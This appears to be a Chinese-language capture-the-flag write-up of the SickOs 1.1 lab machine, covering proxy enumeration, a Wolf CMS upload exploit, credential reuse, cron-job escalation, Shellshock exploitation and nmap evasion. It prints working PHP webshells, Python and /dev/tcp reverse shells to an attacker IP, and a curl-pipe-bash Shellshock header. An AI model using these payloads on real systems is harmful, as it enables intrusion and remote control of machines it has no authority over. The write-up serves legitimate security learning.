SickOs-1.1靶机渗透
再看这篇这里对Squid具体解释就不再说明了信息搜集nmap -sn 10.144.71.0/24 nmap -sV -p- -T5 10.144.71.206这里扫出来一个之前没有碰到过的Squid图中也说明了是代理所以得进行配置如果直接访问是不行的简单一点的话可以用火狐设置里面搜一下代理配置一下就行配置完之后直接访问ip即可显示页面只有一个blehhh搜了一下意思是对某件事物感到厌烦或不满意主页面没啥东西扫一下目录这里有个注意点是因为是经过Squid代理的因此后面要加上--proxydirsearch -u http://10.144.71.206/ --proxy10.144.71.206:3128扫出来一个robots.txt访问一下直接说明了是wolfCMS先看了主页面给的没发现可以利用的点那依旧扫目录扫出来很多config目录下的虽然感觉都是无权看的有用的大概就是readmeupdating那块看了一下有wolfcms的具体版本为v0.8.2网上找找有无相应漏洞说是一个文件上传漏洞但是得先找到管理员路径之前用dirsearch没有扫到相应的路径而且这里的路径也很奇怪那先用searchsploit找找这里有一个刚好是我们现在的版本号并且在MSF中也有尝试一下没有找到哎问了一下说是Metasploit在后续版本尤其是 6.x里对老模块进行了大量清理代码风格更新、依赖调整、RuboCop 检查、弃用旧路径等。很多 2015–2017 年的第三方或临时提交的 CMS exploit 都没留下来那可以具体看一下rb文件searchsploit -w php/remote/40004.rb这里面就标注出了URL那么我们可以先回到浏览器访问一下成功找到后台弱口令admin admin直接成功登录获取shell可以上传文件在file中上传一个本地的php木马?php echo shell_exec($_GET[cmd]);?然后下面我们要去找上传的路径在哪里这个可以看一下官方文档这里就能看到相应的结构大概率为public访问一下确实可以那么尝试python反弹shellpython -c import os,socket,subprocess;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.144.71.177,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);后渗透横向移动接下来就是提权操作了文件找了一下刚开始没翻到啥有用的文件然后sudo需要密码SUID看起来也没什么利用的点再转内核看看是3.11.0对应的Ubuntu版本为Ubuntu 13.10网上搜了一下感觉不能RCEsearchsploit再看一眼searchsploit Ubuntu 13.10....针对的都是64位系统靶机只是32位那么内核提权看来无望还记得最开始的时候我们扫目录扫到的一大堆config路径下的文件吗现在找找config路径位置find / -name config.php 2/dev/null发现了数据库的账户密码define(DB_USER, root); define(DB_PASS, john123); define(TABLE_PREFIX, );进行登录后翻了一遍也没找到啥有用的信息那就很奇怪了看下用户有一个sickos直接su不行需要密码切换到家目录下看看有没有相应文件还是没有结果难不成密码就是john123 后面尝试之后发现还真是....sudo -l看一下直接能提权那么就拿下了计划任务然后其实还可以用到计划任务提权重点关注etc/cron*里面的内容在cron.d路径下有一个automate文件看一下具体内容给出了相应的路径并且是以root权限运行每分钟执行一次那么就可以尝试写反弹shell再开个监听:echo import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.144.71.177,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]) /var/www/connect.py成功提权复盘本次更多的还是在信息搜集阶段看了别的师傅写的之后感觉自己还欠缺好多因此这里详细记录一下nmap扫描首先就是开头扫网段的时候太过单一了nmap一直用的就是这么两个命令这里得进行拓展深度信息搜集命令作用说明nmap -sC -sV -O -p- -T4 目标IP默认安全脚本扫描-sC会调用一大票默认脚本能发现很多服务端配置问题和已知漏洞。-O尝试识别操作系统。nmap -sV --version-intensity 9 -p 端口号 目标IP高强度服务版本探测当你怀疑服务藏得比较深或者-sV默认强度没认出来时用。数值 0-9越高越激进越准但也越容易被发现。nmap --scriptvuln -p- -T4 目标IP漏洞扫描直接跑 vuln 类脚本专门检测目标是否存在已知漏洞。扫 Web 可能会有意外收获。绕过防火墙与IDS/IPS命令作用说明nmap -sS -Pn -T2 -f -p 常用端口 目标IP碎片化SYN扫描-Pn跳过主机发现假设主机存活-T2极慢速-f把探测包分片某些老防火墙无法重组检查。nmap -sS -Pn --data-length 50 -p 端口 目标IP随机数据填充在每个探测包末尾随机填充50字节垃圾数据让特征匹配更困难。nmap -sS -Pn -D RND:3 -p 端口 目标IP诱饵扫描-D RND:3随机生成3个假IP和目标IP一起扫隐藏自己。注意你得确认自己有权限和目标网络能通不然可能没用。二次端口发现之前火狐里面设置代理之后是直接访问ip就进了没有详细说明为什么这个默认的80端口就是开着的这里用到的是httpx工作原理如下httpx会对目标发起真实的 HTTP 请求然后根据返回的状态码、响应头、页面内容比如 -td 参数来判断这是一个真实网站还是被代理劫持的页面。因此它能识别出哪些是 nmap 因代理干扰而误报的“假端口”httpx -u http://10.144.71.206 -p 1-1000 -proxy http://10.144.71.206:3128 -sc -title -silent-u http://从单个 URL 开始探测-p 1-1000对目标的 1-1000 端口逐个发起 HTTP 请求。注意httpx 默认用 HTTP 协议探测如果端口跑了 HTTPS 可能会失败或报错需要额外加 -tls 参数-proxy http://:3128通过 Squid 代理默认端口 3128转发所有请求-sc -title只输出响应的 HTTP 状态码和网页标题-silent只显示有结果的探测其他头信息全抑制shellshock利用然后就是漏扫软件的利用【虽然现在真实环境大部分都是秒封】这里用到的是niktonikto -h 10.144.71.206 -useproxy http://10.144.71.206:3128原理简要介绍但是好像没有找到所说的CVE-2014反倒有一个CVE-2003... 还是阿帕奇1.3的古早版本。网上师傅说有一个CVE-2014的shellshock下面是简要的原理Bash支持将函数定义导出到环境变量中以便子进程继承使用。这原本是一个方便的功能但实现上存在严重缺陷Bash 在解析以 () { 开头的环境变量时会将其视为函数定义正常情况下函数定义结束后Bash 应该停止解析漏洞版本的问题Bash 没有正确终止解析会继续把函数定义后面的内容当作命令来执行playload示例() { :; }; /bin/cat /etc/passwd() { :; };→ 定义一个空函数:; 是空命令后面的 /bin/cat /etc/passwd → 被 Bash 当作额外命令直接执行当 Bash 被调用例如通过 bash -c some command时就会执行这个恶意命令很多服务会把客户端请求中的 HTTP Header如 User-Agent、Cookie、Referer、Host 等直接转换成环境变量传递给后端脚本常见攻击场景包括Apache mod_cgi / mod_cgidCGI 脚本、PHP 的 CGI 模式、 DHCP 客户端、OpenSSH ForceCommand或任何使用 Bash 处理环境变量的脚本或服务攻击者只需在 HTTP 请求头中注入类似下面的 PayloadUser-Agent: () { :; }; /bin/bash -c curl http://攻击者IP/shell.sh | bash如果服务器的CGI 脚本调用了 Bash 处理请求攻击者就能执行任意命令【下载后门、反弹 shell、读取敏感文件等】漏洞利用先进行测试curl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H Referer:() { test;}; echo Content-Type: text/plain; echo; echo; /usr/bin/id;exit这里的核心是() { test;}; echo Content-Type: text/plain; echo; echo; /usr/bin/id;exit前半段() { test;};作为Shellshock 的触发器Bash 把它当成函数定义但后面的分号让它继续执行后面的内容echo Content-Type: text/plain; echo; echo; /usr/bin/id;exitecho Content-Type: text/plain—— 伪造 HTTP 头让浏览器正常显示echo; echo;—— 输出两个空行隔开响应头和响应体/usr/bin/id—— 真正要执行的命令查看当前用户身份exit—— 执行完退出避免干扰这样就说明了漏洞存在因此可以执行反弹shellcurl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H Referer:() { test;}; echo Content-Type: text/plain; echo; echo; /bin/bash -i /dev/tcp/10.144.71.177/4444 01这里root是因为之前那个定时任务写的提权没删或者传webshellcurl -v --proxy http://10.144.71.206:3128 http://10.144.71.206/cgi-bin/status -H Referer:() { test;}; echo Content-Type: text/plain; echo; echo; /usr/bin/printf ?php system(\$_GET[\cmd\]); ? /var/www/cmd.php; exitprintf的格式化字符串里可以用 \转义单引号引号层级清晰后续同样可以进行python反弹BP设置上游代理最后便是BP在遇到有代理的情况下该如何进行操作按图中框出来的布置进行选择即可【我的是v25.9】,然后*代表着全局代理后面不用了还是删掉比较好然后就能正常进行爆破了又学到了BP新的用法还有太多太多未知